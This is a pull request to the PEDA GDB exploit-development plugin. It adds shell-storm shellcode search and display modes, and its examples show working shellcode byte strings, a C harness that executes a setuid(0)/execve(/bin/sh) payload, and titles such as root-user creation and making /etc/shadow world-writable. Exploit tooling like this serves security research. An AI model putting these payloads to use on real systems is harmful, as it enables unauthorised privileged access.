longld/peda — pull request #1 by JonathanSalwan (2012-10-06 22:29:33+00:00)
Title: Update shellcode function

Hi,

This patch update your shellcode function. Now, your shellcode function has 3 modes:

- generate
- search
- display

generate mode is your mode for gen a bsd/linux shellcode.
search and display mode use shell-storm API for obtain all shellcodes on this website.

Exemple:

generate mode:

gdb-peda$ shellcode generate x86/bsd exec
# x86/bsd/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x50\x53\x50\x6a\x3b\x58\xcd\x80"
)

search mode:

gdb-peda$ shellcode search sh4
ScId Title
[787]	Linux/SuperH - sh4 - setuid(0) ; execve(/bin/sh, NULL, NULL) - 27 bytes
[774]	Linux/SuperH - sh4 - Bind /bin/sh on port 31337
[773]	Linux/SuperH - sh4 - add root user with password - 143 bytes
[772]	Linux/SuperH - sh4 - setuid(0) - chmod(/etc/shadow, 0666) - exit(0) - 43 bytes
[771]	Linux/SuperH - sh4 execve(/bin/sh, 0, 0) - 19 bytes

display mode:

gdb-peda$ shellcode display 787
[...]
#include <stdio.h>
#include <string.h>

char *SC = "\x17\xe3\x4e\x24"
"\x0b\xc3\x3a\x23"
"\x0b\xe3\x02\xc7"
"\x03\x64\x5a\x25"
"\x6a\x26\x0b\xc3"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68";

void main(void)
{
fprintf(stdout, "Length: %d\n", strlen(SC));
(*(void(*)()) SC)();
}

With this two news modes, we can obtain more shellcodes without browser.